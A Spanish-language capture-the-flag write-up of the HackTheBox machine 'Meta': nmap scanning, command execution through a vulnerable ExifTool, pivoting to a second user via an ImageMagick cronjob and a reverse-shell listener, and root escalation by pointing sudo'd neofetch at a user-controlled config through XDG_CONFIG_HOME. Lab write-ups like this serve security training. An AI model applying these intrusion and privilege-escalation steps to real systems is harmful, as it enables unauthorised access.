Tras una enumeración de subdominios encontramos MetaView la cual utiliza una version de ExifTool vulnerable por la cual logramos obtener acceso a la máquina. Tras descubrir un cronjob que ejecuta ImageMagick con una version vulnerable logramos acceder a un segundo usuario. Finalmente escalamos privilegios modificando la variable de configuracion de usuario para neofetch.
nmap nos muestra abiertos los puertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Nmap 7.91 scan initiated Sat Jan 22 23:50:19 2022 as: nmap -sS -sV -sC -Pn -p- --min-rate 3000 -oN nmap_scan 10.129.99.144Warning: 10.129.99.144 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.99.144 (10.129.99.144)Host is up (0.081s latency).
Not shown: 59823 closed ports, 5710 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey:
|2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)|256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 22 23:52:07 2022 -- 1 IP address (1 host up) scanned in 108.65 seconds
Web Site
El sitio web nos redirige a un dominio: artcorp.htb.
<!DOCTYPE html><html><body><h2>ArtCorp dev environment</h2><p>Currently applications in development:</p><p><ahref="http://dev01.artcorp.htb/metaview/">MetaView</a></p><p>* Only applications ready to be tested are listed</p></body></html>
La nueva dirección muestra un formulario para subir archivos.
Unicamente acepta archivos jpg/png.
1
File not allowed (only jpg/png).
Tras subir una imagen .png vemos los metadatos de la imagen, pareciera ser información de exiftool.
Vemos localmente información similar al ejecutar localmente sobre la imagen.
π ~/htb/meta ❯ exiftool 5bat.png
ExifTool Version Number : 12.30
File Name : 5bat.png
Directory : .
File Size : 187 KiB
File Modification Date/Time : 2016:10:22 12:28:12+00:00
File Access Date/Time : 2022:02:02 00:19:44+00:00
File Inode Change Date/Time : 2022:01:23 00:55:00+00:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 700Image Height : 728Bit Depth : 8Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Gamma : 2.2
SRGB Rendering : Perceptual
Palette : (Binary data 768 bytes, use -b option to extract)Transparency : (Binary data 36 bytes, use -b option to extract)Image Size : 700x728
Megapixels : 0.510
π ~/htb/meta ❯ exiftool -ver
12.30
User - www-data
Investigando sobre exiftool, encontramos un post en Hackerone que explica que es posible ejecutar comandos ya que existe un bug en el modulo DjVu. Encontramos un repositorio donde encontramos un archivo de configuración para ejecutar comandos.
Exiftool RCE
Para realizar la explotación debemos de realizar git clone al repositorio de exiftool y utilizar uno de los commits entre las versiones 7.44 a 12.23.
Con ello podemos ejecutar exiftool con el archivo de configuracion (eval.config) pasandole un comando, en este caso un ping a nuestra maquina.
Vemos al usuario thomas en /home, tras enumerar no encontramos información para obtener acceso a este usuario. Ejecutamos pspy, descubrimos que este usuario tiene un cronjob para ejecutar el script convert_images.sh.
π ~/htb/meta/www ❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:19:04.448940 IP artcorp.htb > 10.10.14.198: ICMP echo request, id 19840, seq 1, length 6401:19:04.448981 IP 10.10.14.198 > artcorp.htb: ICMP echo reply, id 19840, seq 1, length 6401:19:05.450592 IP artcorp.htb > 10.10.14.198: ICMP echo request, id 19840, seq 2, length 6401:19:05.450622 IP 10.10.14.198 > artcorp.htb: ICMP echo reply, id 19840, seq 2, length 6401:19:06.451784 IP artcorp.htb > 10.10.14.198: ICMP echo request, id 19840, seq 3, length 6401:19:06.451819 IP 10.10.14.198 > artcorp.htb: ICMP echo reply, id 19840, seq 3, length 64
Shell
Agregamos una shell inversa, logrando obtener acceso como thomas y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
π ~/htb/meta ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.198] from artcorp.htb [10.10.11.140]42070/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ whoami;id
thomas
uid=1000(thomas)gid=1000(thomas)groups=1000(thomas)thomas@meta:/var/www/dev01.artcorp.htb/convert_images$ cdthomas@meta:~$ ls
user.txt
thomas@meta:~$ cat user.txt
90e4234367d020079151cbd9270efca0
thomas@meta:~$
Privesc
Utilizamos la clave privada SSH de thomas para obtener una shell más comoda.
1
2
3
4
5
6
7
8
9
10
11
12
π ~/htb/meta ❯ nano key_thomas
π ~/htb/meta ❯ chmod 600 key_thomas
π ~/htb/meta ❯ ssh thomas@10.10.11.140 -i key_thomas
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
thomas@meta:~$
Observamos que puede ejecutar el comando neofetch como root.
1
2
3
4
5
6
7
8
9
10
11
12
thomas@meta:~$ sudo -l -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/neofetch \"\"thomas@meta:~$
Tras la ejecución muestra información de la máquina.
Si observamos, la variable XDG_CONFIG_HOME esta configurada en sudoers la vemos en el output de sudo -l -l -> env_keep+=XDG_CONFIG_HOME, por lo que podriamos modificarla, vemos en neofecth que este utiliza el archivo de configuración que se encuentra en $HOME/.config del usuario que lo ejecuta.
Al ejecutarlo con sudo utiliza el archivo de configuración que se encuentra en /root/.config, si modificamos la variable XDG_CONFIG_HOME podriamos apuntar a la configuración local de thomas.
Modificamos el archivo de configuración de neofetch.
1
2
3
4
5
6
7
8
9
10
11
12
thomas@meta:~$ head .config/neofetch/config.conf
# See this wiki page for more info:# https://github.com/dylanaraps/neofetch/wiki/Customizing-Infoprint_info(){ prin "$(whoami;id)" info title
info underline
info "OS" distro
info "Host" model
info "Kernel" kernel
thomas@meta:~$
Modificamos la variable XDG_CONFIG_HOME y ejecutamos neofetch con sudo, vemos la salida de nuestro comando al inicio.